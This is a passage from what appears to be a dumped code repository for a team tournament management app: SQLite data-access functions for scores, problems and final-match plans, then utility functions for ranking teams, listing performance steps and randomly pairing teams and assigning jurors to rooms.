PROBLEM_LABEL, DSTAGE_PROBLEM_SUB_STATUS_CODE \" \\\n \"FROM v_dstage_problems_reporter \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by ROUND_CODE, MROOM_CODE, STAGE_CODE, PROBLEM_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the teams' problems for specific pair (aka round and room)\ndef get_mpair_problems_simmple(plan_id, mpair_id=0, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair_problems(plan_id, mpair_id, app_db_web_location)\n if result_rows is not None and len(result_rows) > 0:\n current_stage_code = 0\n tmp_total_rejected_times = 0\n tmp_dstage_problem_list = []\n mpair_problem_list = []\n for row in result_rows:\n if row[4] != current_stage_code:\n if current_stage_code >0:\n tmp_tuple2 = (current_stage_code, tmp_dstage_problem_list, tmp_total_rejected_times)\n mpair_problem_list.append(tmp_tuple2)\n\n current_stage_code = row[4]\n tmp_dstage_problem_list = []\n tmp_prolem_rejected_times = 0\n\n #\"PLAN_ID, MPAIR_ID, ROUND_CODE, MROOM_CODE, STAGE_CODE, \" \\ 0-4\n #\"DSTAGE_PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, PROBLEM_LABEL, DSTAGE_PROBLEM_SUB_STATUS_CODE \" \\ 5-9\n tmp_tuple_dstage_problem_info = (row[5], row[6], row[7], row[8], row[9])\n tmp_dstage_problem_list.append(tmp_tuple_dstage_problem_info)\n if row[9] == 2:\n tmp_total_rejected_times += 1\n\n if current_stage_code > 0:\n tmp_tuple2 = (current_stage_code, tmp_dstage_problem_list, tmp_total_rejected_times)\n mpair_problem_list.append(tmp_tuple2)\n\n return mpair_problem_list\n else:\n return None\n\n\ndef update_dstage_score_by_id(plan_id, dstage_score_id, dstage_scores, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n # update MPAIR stage_status_code\n if len(dstage_scores) > 6:\n _c.execute(\n \"UPDATE DSTAGE_SCORE SET TOTAL_SCORE = ?, SC1=?, SC2=?, SC3=?, SC4=?, SC5=?, SC6=?, SC7=?, SCORE_ENTER_BY = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND DSTAGE_SCORE_ID = ?\",\n (dstage_scores[0], dstage_scores[1], dstage_scores[2], dstage_scores[3], dstage_scores[4], dstage_scores[5],\n dstage_scores[6], dstage_scores[7],\n current_user_id, current_user_id, current_timestamp, plan_id, dstage_score_id))\n else:\n _c.execute(\"UPDATE DSTAGE_SCORE SET TOTAL_SCORE = ?, SC1=?, SC2=?, SC3=?, SC4=?, SC5=?, SCORE_ENTER_BY = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND DSTAGE_SCORE_ID = ?\",\n (dstage_scores[0], dstage_scores[1], dstage_scores[2], dstage_scores[3], dstage_scores[4], dstage_scores[5],\n current_user_id, current_user_id, current_timestamp, plan_id, dstage_score_id))\n\n _conn.commit()\n _conn.close()\n\n\n# update the calculated scores for the dstage_team and mpair_team, also update the mpair stage status to 99-completed\ndef validate_dstage_score(plan_id, mpair_id, mpair_team_records, dstage_team_records, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n # update four dstage_teams of the current mpair_id: Average Point, Point (POINT_WITH_FACTOR)\n # stage 1/2/3: rep and opp, rev\n for row in dstage_team_records:\n _c.execute(\"UPDATE DSTAGE_TEAM SET AVERAGE_POINT = ?, POINT_WITH_FACTOR=?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND DSTAGE_TEAM_ID = ?\",\n (row[1], row[2], current_user_id, current_timestamp, plan_id, row[0]))\n\n # update three mpair_teams of the current mpair_id: SP and FW=1 or 0\n # winner is the first record\n # use mteam_code and mpair_id to find mpair_team_id (PK)\n for row in mpair_team_records:\n _c.execute(\"UPDATE MPAIR_TEAM SET SP = ?, FIGHT_WON=?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ? AND MTEAM_CODE = ?\",\n (row[1], row[2], current_user_id, current_timestamp, plan_id, mpair_id, row[0]))\n\n #update the mpair stage status by mpair id\n _c.execute(\n \"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (99, current_user_id, current_timestamp, plan_id, mpair_id))\n\n _conn.commit()\n _conn.close()\n\n\n# search the round information for final match for a specific event\ndef search_fm_round(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, ROUND_CODE, EVENT_ROUND_ID, ROUND_TYPE, ROUND_LABEL, ROUND_STATUS, ROUND_DAY_NUM \" \\\n \"FROM EVENT_ROUND \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND ROUND_TYPE='FM' \" \\\n \"AND ROUND_STATUS='Active' \" \\\n \"ORDER by ROUND_CODE\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n fm_round = None\n for row in result:\n fm_round = (row[0], row[1], row[2], row[3], row[4], row[5], row[6])\n break\n\n return fm_round\n\n\n# search the final match plan for a specific fm plan id\ndef search_fm_plan(event_id, fm_plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n # search fm_plan_teams\n command = \"SELECT \" \\\n \"MPAIR_ID, ROUND_CODE, EVENT_ROUND_ID, MROOM_ID, MROOM_CODE, MROOM_LABEL, \" \\\n \"MPAIR_TEAM_ID, MTEAM_CODE, MTEAM_ID, MPAIR_SIDS, MPAIR_STAGE_STATUS_CODE \" \\\n \"FROM v_mpair_team \" \\\n \"WHERE PLAN_ID=\" + str(fm_plan_id) + \" \" \\\n \"AND ROUND_TYPE='FM' \" \\\n \"ORDER by MPAIR_TEAM_ID\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n fm_plan_teams = list()\n pair_info = None\n round_info = None\n room_info = None\n i = 0\n for row in result:\n i += 1\n if i == 1:\n round_info = (row[2], row[1]) # roound_id, round_code\n room_info = (row[3], row[4], row[5]) # mroom_id, mroom_code, mroom_label\n pair_info = (row[0], row[9], row[10]) # mpair_id, MPAIR_SIDS, MPAIR_STAGE_STATUS_CODE\n fm_plan_teams.append((row[6], row[7], row[8])) # mpair_team_id, mteam_code, mteam_id\n\n # search fm_plan_jurors\n command = \"SELECT \" \\\n \"MPAIR_JUROR_ID, MJUROR_CODE, MJUROR_ID \" \\\n \"FROM MPAIR_JUROR \" \\\n \"WHERE PLAN_ID=\" + str(fm_plan_id) + \" \" \\\n \"ORDER by MPAIR_JUROR_ID\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n fm_plan_jurors = list()\n for row in result:\n fm_plan_jurors.append((row[0], row[1], row[2]))\n\n _conn.commit()\n _conn.close()\n\n return (fm_plan_teams, fm_plan_jurors, pair_info, round_info, room_info)\n\n\n# check if all the sm stages completed for a specific event and sm_plan_id\ndef check_sm_status(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT count(*) \" \\\n \"FROM MPAIR \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MPAIR_STAGE_STATUS_CODE!=99 \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result[0][0]\n\n\n# check if final match score is ready for public for a specific fm_plan_id\ndef check_fm_status(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n fm_status = []\n\n command = \"SELECT MPAIR_ID, MPAIR_STAGE_STATUS_CODE \" \\\n \"FROM MPAIR \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MPAIR_STAGE_STATUS_CODE=99 \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n if result is not None and len(result) > 0:\n print(\"***___ result \", result)\n mpair_id = result[0][0]\n fm_status.append(mpair_id)\n # get final match scores\n command = \"SELECT MPAIR_TEAM_ID, MTEAM_ID, MTEAM_CODE, SP, FIGHT_WON \" \\\n \"FROM MPAIR_TEAM \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MPAIR_ID=\" + str(mpair_id) + \" \" \\\n \"ORDER BY SP DESC, FIGHT_WON DESC \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n fm_status.append(result)\n else:\n fm_status = None\n\n _conn.commit()\n _conn.close()\n\n return fm_status\n\n\n# add quick comments to mpair.field as temporary solution\ndef add_problem_guide(plan_id, mpair_id, problem_guide, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n _c.execute(\"UPDATE MPAIR SET Field14 = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ? \",\n (problem_guide, current_user_id, current_timestamp, plan_id, mpair_id))\n\n _conn.commit()\n _conn.close()\n", "id": "6166857", "language": "Python", "matching_score": 5.1784868240356445, "max_stars_count": 0, "path": "app/models/app_db_handler.py" }, { "content": "# untility functions\nfrom random import shuffle\nfrom datetime import datetime, date\nimport itertools\nimport secrets\n\n\ndef get_2days_timeslots():\n two_days_timeslots = {\n \"1\": \"Day 1 (Saturday Feb 27th, 2021) 10am - 2pm\",\n \"2\": \"Day 1 (Saturday Feb 27th, 2021) 2pm - 6pm\",\n \"3\": \"Day 2 (Saturday Mar 6th, 2021) 10am - 3pm\",\n \"4\": \"Day 2 (Saturday Mar 6th, 2021) 3pm - 7pm\"\n }\n return two_days_timeslots\n\n\ndef count_by_status(team_counts, team_status):\n count_result = 0\n for item in team_counts:\n if item[1].lower() == team_status.lower():\n count_result = item[0]\n break\n return count_result\n\n\ndef check_ranking2(team_score_list):\n i = 0\n refined_team_scores = list()\n min_score = min(team_score_list)\n max_score = max(team_score_list)\n if max_score == min_score:\n # all two are tier, all are ranking #1\n for i in range(2):\n tmp_dict = {\n \"original_team_sequence\": i + 1,\n \"ranking\": 1,\n \"fw\": 1,\n \"score\": max_score\n }\n refined_team_scores.append(tmp_dict)\n else:\n rank_1_index = team_score_list.index(max_score)\n rank_2_index = team_score_list.index(min_score)\n # add rank #1\n tmp_dict = {\n \"original_team_sequence\": rank_1_index + 1,\n \"ranking\": 1,\n \"fw\": 1,\n \"score\": max_score\n }\n refined_team_scores.append(tmp_dict)\n\n # add rank #2\n tmp_dict = {\n \"original_team_sequence\": rank_2_index + 1,\n \"ranking\": 2,\n \"fw\": 0,\n \"score\": min_score\n }\n refined_team_scores.append(tmp_dict)\n return refined_team_scores\n\n\ndef check_ranking3(team_score_list):\n i = 0\n refined_team_scores = list()\n min_score = min(team_score_list)\n mid_score = 0\n max_score = max(team_score_list)\n if max_score == min_score:\n # all three are tier, all are ranking #1\n for i in range(3):\n tmp_dict = {\n \"original_team_sequence\": i + 1,\n \"ranking\": 1,\n \"fw\": 1,\n \"score\": max_score\n }\n refined_team_scores.append(tmp_dict)\n else:\n rank_1_index = team_score_list.index(max_score)\n rank_3_index = team_score_list.index(min_score)\n rank_2_index = 0\n for i in range(3):\n if (i+1) != rank_1_index and (i+1) != rank_3_index:\n rank_2_index = i+1\n mid_score = team_score_list[rank_2_index]\n break\n # add rank #1\n tmp_dict = {\n \"original_team_sequence\": rank_1_index + 1,\n \"ranking\": 1,\n \"fw\": 1,\n \"score\": max_score\n }\n refined_team_scores.append(tmp_dict)\n\n if mid_score == min_score:\n for i in range(2):\n tmp_dict = {\n \"original_team_sequence\": i + 2,\n \"ranking\": 2,\n \"fw\": 0,\n \"score\": mid_score\n }\n refined_team_scores.append(tmp_dict)\n elif mid_score == max_score:\n # add rank #2 -> should be tie with rank #1\n tmp_dict = {\n \"original_team_sequence\": rank_2_index + 1,\n \"ranking\": 1,\n \"fw\": 1,\n \"score\": mid_score\n }\n refined_team_scores.append(tmp_dict)\n\n # add rank #3\n tmp_dict = {\n \"original_team_sequence\": rank_3_index + 1,\n \"ranking\": 3,\n \"fw\": 0,\n \"score\": min_score\n }\n refined_team_scores.append(tmp_dict)\n else:\n # add rank #2\n tmp_dict = {\n \"original_team_sequence\": rank_2_index + 1,\n \"ranking\": 2,\n \"fw\": 0,\n \"score\": mid_score\n }\n refined_team_scores.append(tmp_dict)\n\n # add rank #3\n tmp_dict = {\n \"original_team_sequence\": rank_3_index + 1,\n \"ranking\": 3,\n \"fw\": 0,\n \"score\": min_score\n }\n refined_team_scores.append(tmp_dict)\n return refined_team_scores\n\n\ndef get_sm_performance_order():\n sm_steps = [\n {\n \"step_number\": 1,\n \"step_text\": \"The Opponent challenges the Reporter for the problem\",\n \"step_mins\": 1,\n \"reporter\": \"off\",\n \"opponent\": \"on\"\n },\n {\n \"step_number\": 2,\n \"step_text\": \"The Reporter accepts or rejects the challenge\",\n \"step_mins\": 1,\n \"reporter\": \"on\",\n \"opponent\": \"off\"\n },\n {\n \"step_number\": 3,\n \"step_text\": \"Preparation of the Reporter\",\n \"step_mins\": 5,\n \"reporter\": \"on\",\n \"opponent\": \"off\"\n },\n {\n \"step_number\": 4,\n \"step_text\": \"Presentation of the Reporter\",\n \"step_mins\": 12,\n \"reporter\": \"on\",\n \"opponent\": \"off\"\n },\n {\n \"step_number\": 5,\n \"step_text\": \"Questions of the Opponent to the Reporter and answers of the Reporter\",\n \"step_mins\": 2,\n \"reporter\": \"on\",\n \"opponent\": \"on\"\n },\n {\n \"step_number\": 6,\n \"step_text\": \"Preparation of the Opponent\",\n \"step_mins\": 3,\n \"reporter\": \"off\",\n \"opponent\": \"on\"\n },\n {\n \"step_number\": 7,\n \"step_text\": \"The Opponent takes the floor (maximum 4 min)\",\n \"step_mins\": 4,\n \"reporter\": \"off\",\n \"opponent\": \"on\"\n },\n {\n \"step_number\": 8,\n \"step_text\": \"Discussion between the Reporter and the Opponent\",\n \"step_mins\": 14,\n \"reporter\": \"on\",\n \"opponent\": \"on\"\n },\n {\n \"step_number\": 9,\n \"step_text\": \"The Opponent summarizes the discussion\",\n \"step_mins\": 1,\n \"reporter\": \"off\",\n \"opponent\": \"on\"\n },\n {\n \"step_number\": 10,\n \"step_text\": \"Concluding remarks of the Reporter\",\n \"step_mins\": 2,\n \"reporter\": \"on\",\n \"opponent\": \"off\"\n },\n {\n \"step_number\": 11,\n \"step_text\": \"Questions of the Jury\",\n \"step_mins\": 5,\n \"reporter\": \"on\",\n \"opponent\": \"on\"\n }\n ]\n return sm_steps\n\n\ndef get_fm_performance_order():\n fm_steps = [\n {\n \"step_number\": 1,\n \"step_text\": \"The Opponent challenges the Reporter for the problem\",\n \"step_mins\": 1,\n \"reporter\": \"off\",\n \"opponent\": \"on\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 2,\n \"step_text\": \"The Reporter accepts or rejects the challenge\",\n \"step_mins\": 1,\n \"reporter\": \"on\",\n \"opponent\": \"off\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 3,\n \"step_text\": \"Preparation of the Reporter\",\n \"step_mins\": 5,\n \"reporter\": \"on\",\n \"opponent\": \"off\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 4,\n \"step_text\": \"Presentation of the Reporter\",\n \"step_mins\": 12,\n \"reporter\": \"on\",\n \"opponent\": \"off\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 5,\n \"step_text\": \"Questions of the Opponent to the Reporter and answers of the Reporter\",\n \"step_mins\": 2,\n \"reporter\": \"on\",\n \"opponent\": \"on\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 6,\n \"step_text\": \"Preparation of the Opponent\",\n \"step_mins\": 3,\n \"reporter\": \"off\",\n \"opponent\": \"on\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 7,\n \"step_text\": \"The Opponent takes the floor (maximum 4 min)\",\n \"step_mins\": 4,\n \"reporter\": \"off\",\n \"opponent\": \"on\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 8,\n \"step_text\": \"Discussion between the Reporter and the Opponent\",\n \"step_mins\": 14,\n \"reporter\": \"on\",\n \"opponent\": \"on\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 9,\n \"step_text\": \"The Opponent summarizes the discussion\",\n \"step_mins\": 1,\n \"reporter\": \"off\",\n \"opponent\": \"on\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 10,\n \"step_text\": \"Concluding remarks of the Reporter\",\n \"step_mins\": 2,\n \"reporter\": \"on\",\n \"opponent\": \"off\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 11,\n \"step_text\": \"Questions of the Reviewer to the Reporter and the Opponent and answers to the questions\",\n \"step_mins\": 3,\n \"reporter\": \"on\",\n \"opponent\": \"on\",\n \"reviewer\": \"on\"\n },\n {\n \"step_number\": 12,\n \"step_text\": \"Preparation of the Reviewer\",\n \"step_mins\": 2,\n \"reporter\": \"off\",\n \"opponent\": \"off\",\n \"reviewer\": \"on\"\n },\n {\n \"step_number\": 13,\n \"step_text\": \"The Reviewer takes the floor\",\n \"step_mins\": 4,\n \"reporter\": \"off\",\n \"opponent\": \"off\",\n \"reviewer\": \"on\"\n },\n {\n \"step_number\": 14,\n \"step_text\": \"Concluding remarks of the Reporter\",\n \"step_mins\": 2,\n \"reporter\": \"on\",\n \"opponent\": \"off\",\n \"reviewer\": \"off\"\n },\n {\n \"step_number\": 15,\n \"step_text\": \"Questions of the Jury\",\n \"step_mins\": 5,\n \"reporter\": \"on\",\n \"opponent\": \"on\",\n \"reviewer\": \"on\"\n }\n ]\n return fm_steps\n\n\ndef convert_background_text(background_code):\n background_choices = [('10', 'Middle School'), ('12', 'High School'), ('20', 'Under Graduate or above')]\n background_text = None\n for item in background_choices:\n if item[0] == background_code:\n background_text = item[1]\n break\n return background_text\n\n\ndef calculate_age_from_datetime(dob_datetime):\n days_in_year = 365.25\n today = datetime.now()\n age = float((today - dob_datetime).days / days_in_year)\n return age\n\n\ndef calculate_age_from_string(dob_string):\n days_in_year = 365.25\n today = date.today()\n dob_date = datetime.strptime(dob_string, \"%Y-%m-%d\").date()\n age = float((today - dob_date).days / days_in_year)\n return age\n\n\n\"\"\"\n# this function is to randomly matching two teams for each round\n# the rules are:\n# - each team should not meet the same team more than once\n# - each pair has two teams (this doesn't work for the final round)\n# - each team has assigned team code from 1 to N (N=total number of teams)\n# - after this team matching function, the system will assign real team to each team code randomly in another function\n# the return type of this function is a list of team_matches\n# each element in the team_matches is a dictionary initiated as following:\n {\n \"team_code\": index + 1,\n \"opponents\": [], # paired team for each round\n \"team_name\": 'unassigned',\n \"team_id\": 0,\n \"school_id\": 0,\n \"school_name\": '',\n \"room_codes\": [] # assigned room code for each round\n }\n\"\"\"\ndef team_matching_2(team_count, round_count):\n # fixed number of teams in each pair\n num_in_each_pair = 2 # set the number of teams in each pair\n # initial team list\n team_list_original = []\n for i in range(team_count):\n team_list_original.append(i + 1)\n\n # initial team matches for each round\n team_matches = []\n for i in range(team_count):\n tmp_dict = {\n \"team_code\": i + 1,\n \"opponents\": [],\n \"team_name\": 'unassigned',\n \"team_id\": 0,\n \"school_id\": 0,\n \"school_name\": '',\n \"room_codes\": []\n }\n team_matches.append(tmp_dict)\n\n # start loop for all rounds\n warning_max_try = 3000 * team_count * round_count\n warning_try = 0\n secure_random = secrets.SystemRandom() # creates a secure random object.\n accepted_pairs = []\n accepted_pairs_by_round = []\n for round in range(round_count):\n warning_try += 1\n if warning_try > warning_max_try:\n return None\n # initialize at the beginning of each round\n tmp_selected_pairs = []\n # initial team list for current round\n tmp_team_list = []\n for i in range(team_count):\n tmp_team_list.append(i + 1)\n # loop at current round\n while tmp_team_list is not None and len(tmp_team_list) > 0:\n warning_try += 1\n if warning_try > warning_max_try:\n return None\n # randomly select one pair\n tmp_random_pair = secure_random.sample(tmp_team_list, num_in_each_pair)\n tmp_random_pair_accepted = True\n # get all the possible combinations of the tmp_random_pair\n tmp_iter_result = itertools.permutations(tmp_random_pair)\n for each in tmp_iter_result:\n warning_try += 1\n if warning_try > warning_max_try:\n return None\n if each in accepted_pairs or each in tmp_selected_pairs:\n tmp_random_pair_accepted = False\n break\n else:\n tmp_selected_pairs.append(each)\n\n if tmp_random_pair_accepted:\n for item in tmp_random_pair:\n # remove form tmp team list of the current round\n tmp_team_list.remove(item)\n else:\n # initial team list\n tmp_team_list = []\n for i in range(team_count):\n tmp_team_list.append(i + 1)\n tmp_selected_pairs = []\n\n # add current round selected pairs to accepted pairs\n accepted_pairs_by_round.append(tmp_selected_pairs)\n for pair in tmp_selected_pairs:\n accepted_pairs.append(pair)\n\n # add current round selected to team matches\n for pair in tmp_selected_pairs:\n team_matches[pair[0] - 1][\"opponents\"].append(pair[1])\n\n return team_matches\n\n\n\"\"\"\n# this function is to assign the team code to the real team randomly\n# rules:\n# - get all the teams for the event\n# - if the total team number is bigger than the real total, then use vacancy to replace the remaining\n# the return type of this function is a list of teams\n# Each team in the list is initiated as following:\n# tmp_tuple = (team[2], team[3], team[5], team[6]) # team_id, team_name, team_school_id, team_school_name\n\"\"\"\ndef assign_team_code_randomly(current_event_teams, teams_total_number):\n # random generate team sequence\n current_event_teams_name = list()\n for team in current_event_teams:\n # team_name = team[3]\n tmp_tuple = (team[2], team[3], team[5], team[6])\n current_event_teams_name.append(tmp_tuple)\n current_event_teams_number = len(current_event_teams_name)\n if current_event_teams_number < teams_total_number:\n i = current_event_teams_number\n while i < teams_total_number:\n i = i+1\n tmp_tuple_vacancy = (0, \"Vacancy\", 0, \"Unknown\")\n current_event_teams_name.append(tmp_tuple_vacancy) # originally append \"Vacancy\"\n shuffle(current_event_teams_name)\n current_teams_number_assignment = list()\n i = 0\n for team in current_event_teams_name:\n i = i+1\n tmp_tuple_team = (i, team)\n current_teams_number_assignment.append(tmp_tuple_team)\n return current_teams_number_assignment\n\n\n\"\"\"\n# this function is to assign the team code to the real team randomly\n# rules:\n# - get all the teams for the event\n# - if the total team number is bigger than the real total, then use vacancy to replace the remaining\n# the return type of this function is a list of teams\n# Each team in the list is initiated as following:\n# tmp_tuple = (team[2], team[3], team[5], team[6]) # team_id, team_name, team_school_id, team_school_name\n\"\"\"\ndef assign_team_code_inorder(current_event_teams, teams_total_number):\n # random generate team sequence\n current_event_teams_name = list()\n for team in current_event_teams:\n # team_name = team[3]\n tmp_tuple = (team[2], team[3], team[5], team[6])\n current_event_teams_name.append(tmp_tuple)\n current_event_teams_number = len(current_event_teams_name)\n if current_event_teams_number < teams_total_number:\n i = current_event_teams_number\n while i < teams_total_number:\n i = i+1\n tmp_tuple_vacancy = (0, \"Vacancy\", 0, \"Unknown\")\n current_event_teams_name.append(tmp_tuple_vacancy) # originally append \"Vacancy\"\n current_teams_number_assignment = list()\n i = 0\n for team in current_event_teams_name:\n i = i+1\n tmp_tuple_team = (i, team)\n current_teams_number_assignment.append(tmp_tuple_team)\n return current_teams_number_assignment\n\n\n\"\"\"\n# This function is to randomly assign juror to each room\n# rules:\n# - Each room has a room code from 1 to N (N = number of team pairs for each round + 1) ideally\n# - the total number of rooms N should not be less than the total number of teams / 2\n# - the jurors that are available for all the four timeslots will be assigned to each room AS BALANCED AS POSSIBLE\n# - the jurors that are available for three timeslots will be assigned to each room evenly but without checking the exact timeslots\n# - the jurors that are available for one or two timeslots will be assigned to each room randomly\n# - the jurors that are not available at all should not be approved by the administrator\n# the return type of this function is a list with two elements: [room_plan, juror_plan]\n# - room_plan is a list of rooms, the element in the room is a dictionary that is initiated as the following:\n {\n \"room_code\": index + 1,\n \"jurors\": [], # a list of juror codes that assigned to the room\n \"room_name\": 'unassigned',\n \"room_id\": 0,\n \"room_number\": '',\n \"room_cois\": [], # a list of school ids that includes all the coi schools of all the jurors in the room\n \"room_team_matches_codes\": [] # a list that includes the pair of the teams for each round, again each team is represented by team_code\n \"room_team_matches_school_ids\": [],\n \"room_telec\": '',\n \"room_type\": '',\n \"room_details\": ''\n }\n# - juror_plan is a list of jurors, the element in the juror is a dictionary that is initiated as the following:\n {\n \"juror_code\": index + 1,\n \"juror_info\": juror, # it is a list of juror attributes like ppant_id, cois, is_tl, etc.\n \"room_code\": 0,\n \"room_id\": 0,\n \"room_number\": ''\n }\n\"\"\"\ndef assign_room_juror_code_randomly(juror_list, teams_total_number, rooms_for_each_round, rounds_total_number):\n # plan room and juror\n # room_juror_plan = assign_room_juror_code_randomly(juror_list, teams_total_number, rooms_for_each_round)\n juror_count = len(juror_list)\n pair_count_per_round = int(teams_total_number / 2)\n room_count = pair_count_per_round\n if rooms_for_each_round > room_count:\n room_count = rooms_for_each_round\n if juror_list is None or juror_count < room_count:\n return [None, 'A', juror_count]\n else:\n secure_random = secrets.SystemRandom() # creates a secure random object.\n # initial juror code list\n juror_code_list_original = []\n for j in range(juror_count):\n juror_code_list_original.append(j + 1)\n # initial juror_plan\n juror_plan = []\n i = 0\n for juror in juror_list:\n tmp_dict = {\n \"juror_code\": i + 1,\n \"juror_info\": juror,\n \"room_code\": 0,\n \"room_id\": 0,\n \"room_number\": ''\n }\n juror_plan.append(tmp_dict)\n i += 1\n # initial room_plan for each room\n room_plan = []\n for i in range(room_count):\n tmp_dict = {\n \"room_code\": i + 1,\n \"jurors\": [],\n \"room_name\": 'unassigned',\n \"room_id\": 0,\n \"room_number\": '',\n \"room_cois\": [],\n \"room_team_matches_codes\": [],\n \"room_team_matches_school_ids\": [],\n \"room_telec\": '',\n \"room_type\": '',\n \"room_details\": ''\n }\n room_plan.append(tmp_dict)\n # split all the juror codes based on the availability\n jurors_available_4slots = list()\n jurors_available_3slots = list()\n jurors_available_2slots = list()\n jurors_available_1slots = list()\n i = 0\n for juror in juror_list:\n i += 1\n if juror[11] == \"Yes\" and juror[12] == \"Yes\" and juror[13] == \"Yes\" and juror[14] == \"Yes\":\n jurors_available_4slots.append(i)\n elif juror[11] == \"Yes\" and juror[12] == \"Yes\" and juror[13] == \"Yes\":\n jurors_available_3slots.append(i)\n elif juror[11] == \"Yes\" and juror[12] == \"Yes\" and juror[14] == \"Yes\":\n jurors_available_3slots.append(i)\n elif juror[11] == \"Yes\" and juror[13] == \"Yes\" and juror[14] == \"Yes\":\n jurors_available_3slots.append(i)\n elif juror[12] == \"Yes\" and juror[13] == \"Yes\" and juror[14] == \"Yes\":\n jurors_available_3slots.append(i)\n elif juror[11] == \"Yes\" and juror[12] == \"Yes\":\n jurors_available_2slots.append(i)\n elif juror[11] == \"Yes\" and juror[13] == \"Yes\":\n jurors_available_2slots.append(i)\n elif juror[11] == \"Yes\" and juror[14] == \"Yes\":\n jurors_available_2slots.append(i)\n elif juror[12] == \"Yes\" and juror[13] == \"Yes\":\n jurors_available_2slots.append(i)\n elif juror[12] == \"Yes\" and juror[14] == \"Yes\":\n jurors_available_2slots.append(i)\n elif juror[13] == \"Yes\" and juror[14] == \"Yes\":\n jurors_available_2slots.append(i)\n else:\n jurors_available_1slots.append(i)\n if len(jurors_available_4slots) < room_count:\n return [None, 'B', juror_count, len(jurors_available_4slots)]\n else:\n # add first juror to each room\n # randomly select from jurors_available_4slots\n tmp_random_jurors = secure_random.sample(jurors_available_4slots, room_count)\n i = 0\n for juror_code in tmp_random_jurors:\n room_plan[i]['jurors'].append(juror_code)\n i += 1\n jurors_available_4slots.remove(juror_code)\n juror_code_list_original.remove(juror_code)\n while len(jurors_available_4slots) >= room_count:\n # randomly select\n tmp_random_jurors = secure_random.sample(jurors_available_4slots, room_count)\n i = 0\n for juror_code in tmp_random_jurors:\n room_plan[i]['jurors'].append(juror_code)\n i += 1\n jurors_available_4slots.remove(juror_code)\n juror_code_list_original.remove(juror_code)\n # if jurors_available_4slots has left over\n if len(jurors_available_4slots) > 0:\n missed_4slots_juror_count = room_count - len(jurors_available_4slots)\n # get missed from jurors_available_3slots\n if len(jurors_available_3slots) > missed_4slots_juror_count:\n # randomly select from jurors_available_3slots\n tmp_random_jurors = secure_random.sample(jurors_available_3slots, missed_4slots_juror_count)\n for juror_code in tmp_random_jurors:\n jurors_available_4slots.append(juror_code)\n jurors_available_3slots.remove(juror_code)\n # randomly select from jurors_available_4slots\n tmp_random_jurors = secure_random.sample(jurors_available_4slots, room_count)\n i = 0\n for juror_code in tmp_random_jurors:\n room_plan[i]['jurors'].append(juror_code)\n i += 1\n jurors_available_4slots.remove(juror_code)\n juror_code_list_original.remove(juror_code)\n else:\n # give the jurors_available_4slots to jurors_available_3slots\n for juror_code in jurors_available_4slots:\n jurors_available_3slots.append(juror_code)\n\n while len(jurors_available_3slots) >= room_count:\n # randomly select\n tmp_random_jurors = secure_random.sample(jurors_available_3slots, room_count)\n i = 0\n for juror_code in tmp_random_jurors:\n room_plan[i]['jurors'].append(juror_code)\n i += 1\n jurors_available_3slots.remove(juror_code)\n juror_code_list_original.remove(juror_code)\n # if jurors_available_3slots has left over\n if len(jurors_available_3slots) > 0:\n missed_3slots_juror_count = room_count - len(jurors_available_3slots)\n # get missed from jurors_available_2slots\n if len(jurors_available_2slots) > missed_3slots_juror_count:\n # randomly select from jurors_available_2slots\n tmp_random_jurors = secure_random.sample(jurors_available_2slots, missed_3slots_juror_count)\n for juror_code 